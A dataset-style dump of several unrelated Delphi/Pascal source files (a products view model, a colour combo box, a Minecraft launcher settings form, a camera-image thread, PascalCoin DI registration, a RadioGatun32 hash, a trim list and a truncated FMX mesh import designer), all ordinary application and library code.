text stringlengths 14 6.51M |
|---|
unit ProductsViewModel;
interface
uses
BaseProductsViewModel1, ProductsBaseQuery0, ProductsInterface,
StoreHouseListInterface, ProductsQuery, StoreHouseListQuery;
type
TProductsViewModel = class(TBaseProductsViewModel1, IProducts)
strict private
procedure FreeInt;
procedure LoadContent(AStoreHouseID: Integer; AStorehouseListInt:
IStorehouseList);
private
FqStoreHouseList: TQueryStoreHouseList;
FStorehouseListInt: IStorehouseList;
function GetqProducts: TQueryProducts;
function GetqStoreHouseList: TQueryStoreHouseList;
function GetStoreHouseName: string;
protected
function CreateProductsQuery: TQryProductsBase0; override;
function GetExportFileName: string; override;
public
property qProducts: TQueryProducts read GetqProducts;
property qStoreHouseList: TQueryStoreHouseList read GetqStoreHouseList;
property StorehouseListInt: IStorehouseList read FStorehouseListInt;
property StoreHouseName: string read GetStoreHouseName;
end;
implementation
uses
System.SysUtils;
function TProductsViewModel.CreateProductsQuery: TQryProductsBase0;
begin
Result := TQueryProducts.Create(Self, ProducersGroup);
end;
procedure TProductsViewModel.FreeInt;
begin
FStorehouseListInt := nil;
end;
function TProductsViewModel.GetExportFileName: string;
begin
Assert(Assigned(FStorehouseListInt));
Result := Format('%s %s.xls', [FStorehouseListInt.StoreHouseTitle,
FormatDateTime('dd.mm.yyyy', Date)]);
Assert(not Result.IsEmpty);
end;
function TProductsViewModel.GetqProducts: TQueryProducts;
begin
Result := qProductsBase0 as TQueryProducts;
end;
function TProductsViewModel.GetqStoreHouseList: TQueryStoreHouseList;
begin
if FqStoreHouseList = nil then
begin
FqStoreHouseList := TQueryStoreHouseList.Create(Self);
FqStoreHouseList.FDQuery.Open;
end;
Result := FqStoreHouseList;
end;
function TProductsViewModel.GetStoreHouseName: string;
begin
Assert(Assigned(FStorehouseListInt));
Result := FStorehouseListInt.StoreHouseTitle;
end;
procedure TProductsViewModel.LoadContent(AStoreHouseID: Integer;
AStorehouseListInt: IStorehouseList);
begin
Assert(AStorehouseListInt <> nil);
FStorehouseListInt := AStorehouseListInt;
qProducts.LoadContent(AStoreHouseID)
end;
end.
|
////////////////////////////////////////////////////////////////////////////////
//
//
// FileName : SUIColorBox.pas
// Creator : Shen Min
// Date : 2002-11-14 V1-V3
// 2003-06-24 V4
// Comment :
//
// Copyright (c) 2002-2003 Sunisoft
// http://www.sunisoft.com
// Email: support@sunisoft.com
//
////////////////////////////////////////////////////////////////////////////////
unit SUIColorBox;
interface
{$I SUIPack.inc}
uses Windows, Messages, SysUtils, Classes, Controls, StdCtrls, Graphics,
Consts, Dialogs,
SUIComboBox;
const
{$IFDEF SUIPACK_D5}
ExtendedColorsCount = 4;
StandardColorsCount = 16;
SColorBoxCustomCaption = 'Custom...';
{$ENDIF}
NoColorSelected = TColor($FF000000);
type
TColorBoxStyles = (
cbStandardColors, // first sixteen RGBI colors
cbExtendedColors, // four additional reserved colors
cbSystemColors, // system managed/defined colors
cbIncludeNone, // include clNone color, must be used with cbSystemColors
cbIncludeDefault, // include clDefault color, must be used with cbSystemColors
cbCustomColor, // first color is customizable
cbPrettyNames // instead of 'clColorNames' you get 'Color Names'
);
TColorBoxStyle = set of TColorBoxStyles;
TsuiCustomColorBox = class(TsuiCustomComboBox)
private
FStyle: TColorBoxStyle;
FNeedToPopulate: Boolean;
FListSelected: Boolean;
FDefaultColorColor: TColor;
FNoneColorColor: TColor;
FSelectedColor: TColor;
function GetColor(Index: Integer): TColor;
function GetColorName(Index: Integer): string;
function GetSelected: TColor;
procedure SetSelected(const AColor: TColor);
procedure ColorCallBack(const AName: string);
procedure SetDefaultColorColor(const Value: TColor);
procedure SetNoneColorColor(const Value: TColor);
protected
procedure CloseUp; override;
procedure CreateWnd; override;
procedure DrawItem(Index: Integer; Rect: TRect; State: TOwnerDrawState); override;
procedure KeyDown(var Key: Word; Shift: TShiftState); override;
procedure KeyPress(var Key: Char); override;
function PickCustomColor: Boolean; virtual;
procedure PopulateList;
{$IFDEF SUIPACK_D6UP}
procedure Select; override;
{$ENDIF}
{$IFDEF SUIPACK_D5}
procedure Change; override;
{$ENDIF}
procedure SetStyle(AStyle: TColorBoxStyle); reintroduce;
public
constructor Create(AOwner: TComponent); override;
property Style: TColorBoxStyle read FStyle write SetStyle
default [cbStandardColors, cbExtendedColors, cbSystemColors];
property Colors[Index: Integer]: TColor read GetColor;
property ColorNames[Index: Integer]: string read GetColorName;
property Selected: TColor read GetSelected write SetSelected default clBlack;
property DefaultColorColor: TColor read FDefaultColorColor write SetDefaultColorColor default clBlack;
property NoneColorColor: TColor read FNoneColorColor write SetNoneColorColor default clBlack;
end;
TsuiColorBox = class(TsuiCustomColorBox)
published
{$IFDEF SUIPACK_D6UP}
property AutoComplete;
property AutoDropDown;
{$ENDIF}
property DefaultColorColor;
property NoneColorColor;
property Selected;
property Style;
property Anchors;
property BevelEdges;
property BevelInner;
property BevelKind;
property BevelOuter;
property BiDiMode;
property Color;
property Constraints;
property DropDownCount;
property Enabled;
property Font;
property ItemHeight;
property ParentBiDiMode;
property ParentColor;
property ParentFont;
property ParentShowHint;
property PopupMenu;
property ShowHint;
property TabOrder;
property TabStop;
property Visible;
property OnChange;
{$IFDEF SUIPACK_D6UP}
property OnCloseUp;
{$ENDIF}
property OnClick;
property OnContextPopup;
property OnDblClick;
property OnDragDrop;
property OnDragOver;
property OnDropDown;
property OnEndDock;
property OnEndDrag;
property OnEnter;
property OnExit;
property OnKeyDown;
property OnKeyPress;
property OnKeyUp;
{$IFDEF SUIPACK_D6UP}
property OnSelect;
{$ENDIF}
property OnStartDock;
property OnStartDrag;
end;
implementation
uses SUIPublic;
{ TsuiCustomColorBox }
{$IFDEF SUIPACK_D5}
procedure TsuiCustomColorBox.Change;
begin
if FListSelected then
begin
FListSelected := False;
if (cbCustomColor in Style) and
(ItemIndex = 0) and
not PickCustomColor then
Exit;
end;
inherited;
end;
{$ENDIF}
procedure TsuiCustomColorBox.CloseUp;
begin
inherited CloseUp;
FListSelected := True;
end;
procedure TsuiCustomColorBox.ColorCallBack(const AName: String);
var
I, LStart: Integer;
LColor: TColor;
LName: string;
begin
LColor := StringToColor(AName);
if cbPrettyNames in Style then
begin
if Copy(AName, 1, 2) = 'cl' then
LStart := 3
else
LStart := 1;
LName := '';
for I := LStart to Length(AName) do
begin
case AName[I] of
'A'..'Z':
if LName <> '' then
LName := LName + ' ';
end;
LName := LName + AName[I];
end;
end
else
LName := AName;
Items.AddObject(LName, TObject(LColor));
end;
constructor TsuiCustomColorBox.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
inherited Style := csOwnerDrawFixed;
inherited ItemHeight := 15;
FStyle := [cbStandardColors, cbExtendedColors, cbSystemColors];
FSelectedColor := clBlack;
FDefaultColorColor := clBlack;
FNoneColorColor := clBlack;
PopulateList;
end;
procedure TsuiCustomColorBox.CreateWnd;
begin
inherited CreateWnd;
if FNeedToPopulate then
PopulateList;
end;
procedure TsuiCustomColorBox.DrawItem(Index: Integer; Rect: TRect;
State: TOwnerDrawState);
function ColorToBorderColor(AColor: TColor): TColor;
type
TColorQuad = record
Red,
Green,
Blue,
Alpha: Byte;
end;
begin
if (TColorQuad(AColor).Red > 192) or
(TColorQuad(AColor).Green > 192) or
(TColorQuad(AColor).Blue > 192) then
Result := clBlack
else if odSelected in State then
Result := clWhite
else
Result := AColor;
end;
var
LRect: TRect;
LBackground: TColor;
begin
with Canvas do
begin
FillRect(Rect);
LBackground := Brush.Color;
LRect := Rect;
LRect.Right := LRect.Bottom - LRect.Top + LRect.Left;
InflateRect(LRect, -1, -1);
Brush.Color := Colors[Index];
if Brush.Color = clDefault then
Brush.Color := DefaultColorColor
else if Brush.Color = clNone then
Brush.Color := NoneColorColor;
FillRect(LRect);
Brush.Color := ColorToBorderColor(ColorToRGB(Brush.Color));
FrameRect(LRect);
Brush.Color := LBackground;
Rect.Left := LRect.Right + 5;
TextRect(Rect, Rect.Left,
Rect.Top + (Rect.Bottom - Rect.Top - TextHeight(Items[Index])) div 2,
Items[Index]);
end;
end;
function TsuiCustomColorBox.GetColor(Index: Integer): TColor;
begin
Result := TColor(Items.Objects[Index]);
end;
function TsuiCustomColorBox.GetColorName(Index: Integer): string;
begin
Result := Items[Index];
end;
function TsuiCustomColorBox.GetSelected: TColor;
begin
if HandleAllocated then
if ItemIndex <> -1 then
Result := Colors[ItemIndex]
else
Result := NoColorSelected
else
Result := FSelectedColor;
end;
procedure TsuiCustomColorBox.KeyDown(var Key: Word; Shift: TShiftState);
begin
FListSelected := False;
inherited KeyDown(Key, Shift);
end;
procedure TsuiCustomColorBox.KeyPress(var Key: Char);
begin
inherited KeyPress(Key);
if (cbCustomColor in Style) and (Key = #13) and (ItemIndex = 0) then
begin
PickCustomColor;
Key := #0;
end;
end;
function TsuiCustomColorBox.PickCustomColor: Boolean;
var
LColor: TColor;
begin
with TColorDialog.Create(nil) do
try
LColor := ColorToRGB(TColor(Items.Objects[0]));
Color := LColor;
CustomColors.Text := Format('ColorA=%.8x', [LColor]);
Result := Execute;
if Result then
begin
Items.Objects[0] := TObject(Color);
Self.Invalidate;
end;
finally
Free;
end;
end;
procedure TsuiCustomColorBox.PopulateList;
procedure DeleteRange(const AMin, AMax: Integer);
var
I: Integer;
begin
for I := AMax downto AMin do
Items.Delete(I);
end;
procedure DeleteColor(const AColor: TColor);
var
I: Integer;
begin
I := Items.IndexOfObject(TObject(AColor));
if I <> -1 then
Items.Delete(I);
end;
var
LSelectedColor, LCustomColor: TColor;
begin
if HandleAllocated then
begin
Items.BeginUpdate;
try
LCustomColor := clBlack;
if (cbCustomColor in Style) and (Items.Count > 0) then
LCustomColor := TColor(Items.Objects[0]);
LSelectedColor := FSelectedColor;
Items.Clear;
GetColorValues(ColorCallBack);
if not (cbIncludeNone in Style) then
DeleteColor(clNone);
if not (cbIncludeDefault in Style) then
DeleteColor(clDefault);
if not (cbSystemColors in Style) then
DeleteRange(StandardColorsCount + ExtendedColorsCount, Items.Count - 1);
if not (cbExtendedColors in Style) then
DeleteRange(StandardColorsCount, StandardColorsCount + ExtendedColorsCount - 1);
if not (cbStandardColors in Style) then
DeleteRange(0, StandardColorsCount - 1);
if cbCustomColor in Style then
Items.InsertObject(0, SColorBoxCustomCaption, TObject(LCustomColor));
Selected := LSelectedColor;
finally
Items.EndUpdate;
FNeedToPopulate := False;
end;
end
else
FNeedToPopulate := True;
end;
{$IFDEF SUIPACK_D6UP}
procedure TsuiCustomColorBox.Select;
begin
if FListSelected then
begin
FListSelected := False;
if (cbCustomColor in Style) and
(ItemIndex = 0) and
not PickCustomColor then
Exit;
end;
inherited Select;
end;
{$ENDIF}
procedure TsuiCustomColorBox.SetDefaultColorColor(const Value: TColor);
begin
if Value <> FDefaultColorColor then
begin
FDefaultColorColor := Value;
Invalidate;
end;
end;
procedure TsuiCustomColorBox.SetNoneColorColor(const Value: TColor);
begin
if Value <> FNoneColorColor then
begin
FNoneColorColor := Value;
Invalidate;
end;
end;
procedure TsuiCustomColorBox.SetSelected(const AColor: TColor);
var
I: Integer;
begin
if HandleAllocated then
begin
I := Items.IndexOfObject(TObject(AColor));
if (I = -1) and (cbCustomColor in Style) and (AColor <> NoColorSelected) then
begin
Items.Objects[0] := TObject(AColor);
I := 0;
end;
ItemIndex := I;
end;
FSelectedColor := AColor;
end;
procedure TsuiCustomColorBox.SetStyle(AStyle: TColorBoxStyle);
begin
if AStyle <> Style then
begin
FStyle := AStyle;
Enabled := ([cbStandardColors, cbExtendedColors, cbSystemColors, cbCustomColor] * FStyle) <> [];
PopulateList;
if (Items.Count > 0) and (ItemIndex = -1) then
ItemIndex := 0;
end;
end;
end.
|
unit settings;
interface
uses
Windows, SysUtils, Forms,
sSkinProvider, StdCtrls, sLabel, sEdit, sButton, Registry, ServersUtils, SHFolder,
Controls, Classes, InternetHTTP, JSON;
type
TSettingsForm = class(TForm)
TitleLabel: TsLabel;
SkinProvider: TsSkinProvider;
MemoryEdit: TsEdit;
MemoryLabel: TsLabel;
SaveButton: TsButton;
CancelButton: TsButton;
VersionLabel: TsLabel;
procedure CancelButtonClick(Sender: TObject);
procedure SaveButtonClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
end;
procedure InitServers;
procedure CheckFolder(Dir: string; Pattern: string);
const
LauncherVer: string = '1';
RootDir: string = '.happyminers';
var
SettingsForm: TSettingsForm;
Reg: TRegIniFile;
MinecraftDir: string;
GameMemory: string;
AppData: string;
tCP:string;
implementation
{$R *.dfm}
procedure TSettingsForm.CancelButtonClick(Sender: TObject);
begin
Self.Close;
end;
procedure CheckFolder(Dir: string; Pattern: string);
var
SearchRec: TSearchRec;
begin
if FindFirst(Dir + '*', faDirectory, SearchRec) = 0 then
begin
repeat
if (SearchRec.Name <> '.') and (SearchRec.Name <> '..') then
begin
CheckFolder(Dir + SearchRec.Name + '\', Pattern);
end;
until FindNext(SearchRec) <> 0;
end;
FindClose(SearchRec);
if FindFirst(Dir + Pattern, faAnyFile xor faDirectory, SearchRec) = 0 then
begin
repeat
tCP := tCP + Dir + SearchRec.Name + ';';
until FindNext(SearchRec) <> 0;
end;
FindClose(SearchRec);
end;
function GetSpecialFolderPath(folder : integer) : string; {Полуаем системные пути}
const
SHGFP_TYPE_CURRENT = 0;
var
Path: array [0..MAX_PATH] of char;
begin
if SUCCEEDED(SHGetFolderPath(0,folder,0,SHGFP_TYPE_CURRENT,@Path[0])) then
Result := Path
else
Raise Exception.Create('Can''t find AppData dir');
end;
procedure TSettingsForm.FormCreate(Sender: TObject);
begin
Reg := TRegIniFile.Create('Software\happyminers.ru');
VersionLabel.Caption := 'Версия лаунчера: ' + LauncherVer;
AppData := GetSpecialFolderPath(CSIDL_APPDATA);
MinecraftDir := AppData + '\' + RootDir + '\';
GameMemory := IntToStr(Reg.ReadInteger('Settings', 'Memory', 512));
MemoryEdit.Text := GameMemory;
end;
procedure InitServers;
var
Size: LongWord;
Data: pointer;
Response, CountResponse: string;
I: Integer;
server: TServerData;
count: integer;
const
countNames: string = 'abcdefgh';
begin
{ServersUtils.AddServer('Classic', 'localhost');
ServersUtils.AddServer('Another Server', '127.0.0.1');}
Size := 0;
AddPOSTField(Data, Size, 'count', '1');
CountResponse := HTTPPost('http://www.happyminers.ru/go/servers', Data, Size);
count := getJsonInt('count', CountResponse);
if count > 0 then
begin
for I := 1 to count do
begin
Size := 0;
AddPOSTField(Data, Size, 'server', IntToStr(getJsonInt(countNames[i], CountResponse)));
Response := HTTPPost('http://www.happyminers.ru/go/servers', Data, Size);
with server do
begin
id := getJsonInt('id', Response);
name := getJsonStr('name', Response);
adress := getJsonStr('adress', Response);
status := getJsonBool('status', Response);
players := getJsonInt('players', Response);
slots := getJsonInt('slots', Response);
end;
ServersUtils.AddServer(server);
end;
end else begin
MessageBox(Application.Handle, 'Нет серверов!', 'Нет серверов!', Error);
end;
end;
procedure TSettingsForm.SaveButtonClick(Sender: TObject);
begin
Reg.WriteInteger('Settings', 'Memory', StrToInt(MemoryEdit.Text));
Reg.CloseKey;
Self.Close;
end;
end.
|
unit uPGThread;
interface
uses
Windows, Classes, Types, SysUtils, IOUtils, DateUtils, Generics.Collections,
Variants, uBaseThread, uTypes, uGlobal, uCommon, UInterface;
type
TPGThread = class(TBaseThread)
private
FSourcePath, FTargetPath, FTargetUrl: string;
FVioList: TList<TPass>;
function DealOnePass(pass: TPass): boolean;
function GetPassList: TList<TPass>;
protected
procedure Prepare; override;
procedure Perform; override;
procedure AfterTerminate; override;
public
constructor Create(SourcePath, TargetPath, TargetUrl: string); overload;
end;
var
pgThread: TPGThread;
implementation
{ TPGThread }
constructor TPGThread.Create(SourcePath, TargetPath, TargetUrl: string);
begin
FSourcePath := SourcePath;
FTargetPath := TargetPath;
FTargetUrl := TargetUrl;
inherited Create;
end;
procedure TPGThread.Prepare;
begin
inherited;
logger.Info('PGThread Start');
FVioList := TList<TPass>.Create;
end;
procedure TPGThread.AfterTerminate;
begin
inherited;
FVioList.Free;
logger.Info('PGThread Stoped');
end;
procedure TPGThread.Perform;
var
pass: TPass;
list: TList<TPass>;
begin
list := GetPassList;
if list.Count > 0 then
begin
logger.Info('PGThread.GetPassList: ' + list.Count.ToString);
for pass in list do
begin
DealOnePass(pass);
end;
Tmypint.SaveVIO(FVioList);
end;
list.Free;
Sleep(10 * 60 * 1000);
end;
function TPGThread.GetPassList: TList<TPass>;
var
fn: string;
ss: TStringDynArray;
s: string;
arr: TArray<String>;
pass: TPass;
begin
result := TList<TPass>.Create;
for fn in TDirectory.GetFiles(FSourcePath, '*.ini') do
begin
ss := TFile.ReadAllLines(fn);
if Length(ss) = 3 then
begin
s := ss[2];
arr := s.Split(['^']);
if Length(arr) = 13 then
begin
pass.kdbh := '44519300001001';
pass.gcsj := arr[1];
pass.clsd := arr[6];
pass.tp1 := arr[11];
pass.tp2 := arr[12];
pass.GCXH := TPath.GetFileNameWithoutExtension(fn);
result.Add(pass);
end;
end;
end;
end;
function TPGThread.DealOnePass(pass: TPass): boolean;
var
device: TDevice;
yyyymm, dd, targetPath: string;
begin
result := true;
yyyymm := formatdatetime('yyyymm', Now);
dd := formatdatetime('dd', Now);
pass.FWQDZ := Format('%s/%s/%s/%s/', [FTargetURL, yyyymm, dd, pass.kdbh]);
targetPath := Format('%s\%s\%s\%s\', [FTargetPath, yyyymm, dd, pass.kdbh]);
try
if not DirectoryExists(targetPath) then
ForceDirectories(targetPath);
TFile.Move(FSourcePath + '\' + pass.tp1, targetPath + pass.tp1);
TFile.Move(FSourcePath + '\' + pass.tp2, targetPath + pass.tp2);
TFile.Delete(FSourcePath + '\' + pass.GCXH + '.ini');
device := gDicDevice[pass.KDBH];
pass.WFXW := Tmypint.getSpeedtoWFXW(pass.HPZL, strtointdef(pass.clsd, 0), device.XZSD);
FVioList.Add(pass);
except
on e: exception do
begin
logger.Error('[TPGThread.DealOnePass]' + e.Message);
result := false;
end;
end;
end;
end.
|
unit PascalCoin.FMX.Wallet.DI;
interface
uses Spring.Container, PascalCoin.Wallet.Interfaces;
function RegisterStuff(AContainer: TContainer): IPascalCoinWalletConfig;
implementation
uses PascalCoin.RPC.Interfaces,
PascalCoin.FMX.Wallet.Config,
PascalCoin.HTTPClient.Delphi, PascalCoin.RPC.Client, PascalCoin.RPC.Account,
PascalCoin.RPC.API,
PascalCoin.KeyTool, PascalCoin.StreamOp,
PascalCoin.Wallet.Classes,
PascalCoin.URI,
PascalCoin.Utils.Interfaces, PascalCoin.Utils.Classes,
PascalCoin.Update.Interfaces, PascalCoin.Update.Classes,
PascalCoin.RawOp.Interfaces, PascalCoin.RawOp.Classes;
function RegisterStuff(AContainer: TContainer): IPascalCoinWalletConfig;
var
lConfig: IPascalCoinWalletConfig;
begin
lConfig := TPascalCoinWalletConfig.Create;
AContainer.RegisterInstance<IPascalCoinWalletConfig>(lConfig).AsSingleton;
AContainer.RegisterType<IKeyTools, TPascalCoinKeyTools>;
AContainer.RegisterType<IStreamOp, TStreamOp>;
AContainer.RegisterType<IRPCHTTPRequest, TDelphiHTTP>;
AContainer.RegisterType<IPascalCoinRPCClient, TPascalCoinRPCClient>;
AContainer.RegisterType<IPascalCoinAccount, TPascalCoinAccount>;
AContainer.RegisterType<IPascalCoinAPI, TPascalCoinAPI>;
AContainer.RegisterType<IPascalCoinAccounts, TPascalCoinAccounts>;
AContainer.RegisterType<IPascalCoinTools, TPascalCoinTools>;
AContainer.RegisterType<IWallet, TWallet>;
AContainer.RegisterType<IWalletKey, TWalletKey>;
AContainer.RegisterType<IRawOperations, TRawOperations>;
AContainer.RegisterType<IRawTransactionOp, TRawTransactionOp>;
AContainer.RegisterType<IFetchAccountData, TFetchAccountData>;
AContainer.RegisterType<IPascalCoinURI, TPascalCoinURI>;
AContainer.Build;
(lConfig as IPascalCoinWalletConfig).Container := AContainer;
result := lConfig;
end;
end.
|
unit rhlRadioGatun32;
interface
uses
rhlCore;
type
{ TrhlRadioGatun32 }
TrhlRadioGatun32 = class(TrhlHash)
private
const
MILL_SIZE = 19;
BELT_WIDTH = 3;
BELT_LENGTH = 13;
NUMBER_OF_BLANK_ITERATIONS = 16;
var
m_mill: array[0..MILL_SIZE - 1] of DWord;
m_belt: array[0..BELT_LENGTH - 1, 0..BELT_WIDTH - 1] of DWord;
procedure RoundFunction;
protected
procedure UpdateBlock(const AData); override;
public
constructor Create; override;
procedure Init; override;
procedure Final(var ADigest); override;
end;
implementation
{ TrhlRadioGatun32 }
procedure TrhlRadioGatun32.RoundFunction;
var
i: Integer;
q: array[0..BELT_WIDTH - 1] of DWord;
a: array[0..MILL_SIZE - 1] of DWord;
begin
Move(m_belt[BELT_LENGTH - 1], q, SizeOf(q));
for i := BELT_LENGTH - 1 downto 0 do
Move(m_belt[i - 1], m_belt[i], SizeOf(q));
Move(q, m_belt[0], SizeOf(q));
for i := 0 to 11 do
m_belt[i + 1][i mod BELT_WIDTH] := m_belt[i + 1][i mod BELT_WIDTH] xor m_mill[i + 1];
for i := 0 to MILL_SIZE - 1 do
a[i] := m_mill[i] xor (m_mill[(i + 1) mod MILL_SIZE] or not m_mill[(i + 2) mod MILL_SIZE]);
for i := 0 to MILL_SIZE - 1 do
m_mill[i] := RorDWord(a[(7 * i) mod MILL_SIZE], i * (i + 1) div 2);
for i := 0 to MILL_SIZE - 1 do
a[i] := m_mill[i] xor m_mill[(i + 1) mod MILL_SIZE] xor m_mill[(i + 4) mod MILL_SIZE];
a[0] := a[0] xor 1;
for i := 0 to MILL_SIZE - 1 do
m_mill[i] := a[i];
for i := 0 to BELT_WIDTH - 1 do
m_mill[i + 13] := m_mill[i + 13] xor q[i];
end;
procedure TrhlRadioGatun32.UpdateBlock(const AData);
var
data: array[0..0] of DWord absolute AData;
i: Integer;
begin
for i := 0 to BELT_WIDTH - 1 do
begin
m_mill[i + 16] := m_mill[i + 16] xor data[i];
m_belt[0][i] := m_belt[0][i] xor data[i];
end;
RoundFunction();
end;
constructor TrhlRadioGatun32.Create;
begin
HashSize := 32;
BlockSize := 4 * BELT_WIDTH;
end;
procedure TrhlRadioGatun32.Init;
begin
inherited Init;
FillChar(m_mill, SizeOf(m_mill), 0);
FillChar(m_belt, SizeOf(m_belt), 0);
end;
procedure TrhlRadioGatun32.Final(var ADigest);
var
padding_size: DWord;
pad: TBytes;
i: Integer;
begin
padding_size := BlockSize - (FProcessedBytes mod BlockSize);
SetLength(pad, padding_size);
pad[0] := $01;
UpdateBytes(pad[0], padding_size);
for i := 0 to NUMBER_OF_BLANK_ITERATIONS - 1 do
RoundFunction;
SetLength(pad, HashSize);
for i := 0 to (HashSize div 8) - 1 do
begin
RoundFunction();
Move(m_mill[1], pad[i * 8], 8);
end;
Move(pad[0], ADigest, HashSize);
end;
end.
|
unit TrimList;
interface
uses
Generics.Collections;
type
TNextPartitionStatus = (Success, CompleteLastPartitionFirst);
TTrimListEntry = record
Status: TNextPartitionStatus;
PartitionPath: String;
end;
TTrimList = class(TList<String>)
private
CurrentPartitionReadWrite: Integer;
CompletedPartitionReadWrite: Integer;
AtomicNextPartitionMonitor: TMonitor;
function GetNextPartitionInCriticalSection: TTrimListEntry;
function IsLastPartitionCompletedProperly: Boolean;
function ChangePointerToNextPartitionAndGet: TTrimListEntry;
public
property CurrentPartition: Integer read CurrentPartitionReadWrite;
property CompletedPartition: Integer read CompletedPartitionReadWrite;
procedure PointerToFirst;
function GetNextPartition: TTrimListEntry;
procedure CompleteCurrentPartition;
end;
implementation
procedure TTrimList.PointerToFirst;
begin
CurrentPartitionReadWrite := -1;
CompletedPartitionReadWrite := -1;
end;
function TTrimList.IsLastPartitionCompletedProperly: Boolean;
begin
result := CurrentPartitionReadWrite >= CompletedPartitionReadWrite;
end;
function TTrimList.ChangePointerToNextPartitionAndGet: TTrimListEntry;
begin
result.Status := TNextPartitionStatus.Success;
result.PartitionPath := self[CurrentPartitionReadWrite];
CurrentPartitionReadWrite := CurrentPartitionReadWrite + 1;
end;
function TTrimList.GetNextPartitionInCriticalSection: TTrimListEntry;
begin
if not IsLastPartitionCompletedProperly then
begin
result.Status := TNextPartitionStatus.CompleteLastPartitionFirst;
exit;
end;
result := ChangePointerToNextPartitionAndGet;
end;
function TTrimList.GetNextPartition: TTrimListEntry;
begin
AtomicNextPartitionMonitor.Enter(self);
result := GetNextPartitionInCriticalSection;
AtomicNextPartitionMonitor.Exit(self);
end;
procedure TTrimList.CompleteCurrentPartition;
begin
AtomicNextPartitionMonitor.Enter(self);
CompletedPartitionReadWrite := CurrentPartitionReadWrite;
AtomicNextPartitionMonitor.Exit(self);
end;
end.
|
{*******************************************************}
{ }
{ Delphi FireMonkey Platform }
{ }
{ Copyright(c) 2011-2018 Embarcadero Technologies, Inc. }
{ All rights reserved }
{ }
{*******************************************************}
unit FMX.Design.Import;
interface
uses
System.SysUtils, System.Classes, System.Types, System.UITypes, FMX.Forms, FMX.StdCtrls,
FMX.Dialogs, FMX.Types, FMX.Controls, FMX.Import, FMX.Objects3D, FMX.Types3D, FMX.Viewport3D,
FMX.Layouts, FMX.Objects, FMX.Edit, FMX.Effects, Generics.Collections, FMX.Controls3D,
FMX.ASE.Importer, System.Math.Vectors,
FMX.DAE.Importer,
FMX.OBJ.Importer;
type
TCommand = (cNone, cClose, cClear, cOpen);
TMeshCollectionDesigner = class(TForm)
btnLoad: TButton;
Layout1: TLayout;
btnCancel: TButton;
btnOk: TButton;
btnClear: TButton;
Viewport1: TViewport3D;
cameray: TDummy;
camerax: TDummy;
camera: TCamera;
Light1: TLight;
TrackBar1: TTrackBar;
Model3D1: TModel3D;
btnUp: TButton;
Path1: TPath;
btnDown: TButton;
Path2: TPath;
btnLeft: TButton;
Path3: TPath;
btnRight: TButton;
Path4: TPath;
MoveLayout: TLayout;
procedure btnLoadClick(Sender: TObject);
procedure btnOkClick(Sender: TObject);
procedure btnCancelClick(Sender: TObject);
procedure Viewport1MouseWheel(Sender: TObject; Shift: TShiftState;
WheelDelta: Integer; var Handled: Boolean);
procedure Viewport1MouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Single);
procedure Viewport1MouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Single);
procedure btnClearClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure TrackBar1Change(Sender: TObject);
procedure btnDownClick(Sender: TObject);
procedure btnUpClick(Sender: TObject);
procedure btnLeftClick(Sender: TObject);
procedure btnRightClick(Sender: TObject);
private
{ Private declarations }
FDown: TPointF;
FFileName: string;
FCommand: TCommand;
FScale: Single;
procedure ClearMeshes;
procedure SetScale(const Value: Single);
public
{ Public declarations }
procedure CloneMeshCollection(AModel3D: TModel3d);
property FileName: string read FFileName;
property Command: TCommand read FCommand;
property Scale: Single read FScale write SetScale;
end;
implementation
{$R *.fmx}
uses
Math;
procedure TMeshCollectionDesigner.btnClearClick(Sender: TObject);
begin
FCommand := cClear;
Model3D1.Clear;
ClearMeshes;
Scale := 1.0;
end;
procedure TMeshCollectionDesigner.btnLoadClick(Sender: TObject);
var
D: TOpenDialog;
LCount, I: Integer;
LFileTypes: string;
BtnEnable: Boolean;
begin
D := TOpenDialog.Create(Application);
try
LCount := TModelImportServices.GetSupportedFileTypesCount;
if LCount > 0 then
begin
for i := 0 to LCount - 2 do
LFileTypes := Format('%s*.%s;',
[LFileTypes, LowerCase(TModelImportServices.GetFileExt(i))]);
LFileTypes := Format('%s*.%s',
[LFileTypes, LowerCase(TModelImportServices.GetFileExt(LCount - 1))]);
end;
D.Filter := '3D File Formats (' + LFileTypes + ')|' + LFileTypes
+ '|All Files (*.*)|*.*';
if D.Execute then
begin
Model3D1.Clear;
ClearMeshes;
FFileName := D.FileName;
Model3D1.LoadFromFile(FileName);
btnOk.Enabled := true;
FCommand := cOpen;
{making visible for user that loading process is done}
TrackBar1.SetFocus;
{enable editor buttons}
BtnEnable:= Model3D1.ChildrenCount > 0;
btnClear.Enabled:= BtnEnable;
btnUp.Enabled:= BtnEnable;
btnDown.Enabled:= BtnEnable;
btnLeft.Enabled:= BtnEnable;
btnRight.Enabled:= BtnEnable;
end;
finally
D.Free;
end;
end;
procedure TMeshCollectionDesigner.btnOkClick(Sender: TObject);
begin
Model3D1.Clear;
ClearMeshes;
ModalResult := mrOk;
end;
procedure TMeshCollectionDesigner.btnUpClick(Sender: TObject);
begin
{moving 3D model up}
if (CameraX.RotationAngle.X <= -100) or (CameraX.RotationAngle.X >= 100) then
Model3D1.Position.Y:= Model3D1.Position.Y + 0.02
else
Model3D1.Position.Y:= Model3D1.Position.Y - 0.02;
// btnUp.Enabled:= Model3D1.Position.Y - Model3D1.Height / 2 > Viewport1.LocalRect.Bottom;
end;
procedure TMeshCollectionDesigner.btnDownClick(Sender: TObject);
begin
{moving 3D model down}
if (CameraX.RotationAngle.X <= -100) or (CameraX.RotationAngle.X >= 100) then
Model3D1.Position.Y:= Model3D1.Position.Y - 0.02
else
Model3D1.Position.Y:= Model3D1.Position.Y + 0.02;
// btnDown.Enabled:= Model3D1.Position.Y + Model3D1.Height / 2 < Viewport1.LocalRect.Top;
end;
procedure TMeshCollectionDesigner.btnLeftClick(Sender: TObject);
begin
{moving 3D model to the left}
if (CameraY.RotationAngle.Y <= -100) or (CameraY.RotationAngle.Y >= 100) then
Model3D1.Position.X:= Model3D1.Position.X + 0.02
else
Model3D1.Position.X:= Model3D1.Position.X - 0.02;
// btnLeft.Enabled:= Model3D1.Position.X - Model3D1.Width / 2 > 0;
end;
procedure TMeshCollectionDesigner.btnRightClick(Sender: TObject);
begin
{moving 3D model to the right}
if (CameraY.RotationAngle.Y <= -100) or (CameraY.RotationAngle.Y >= 100) then
Model3D1.Position.X:= Model3D1.Position.X - 0.02
else
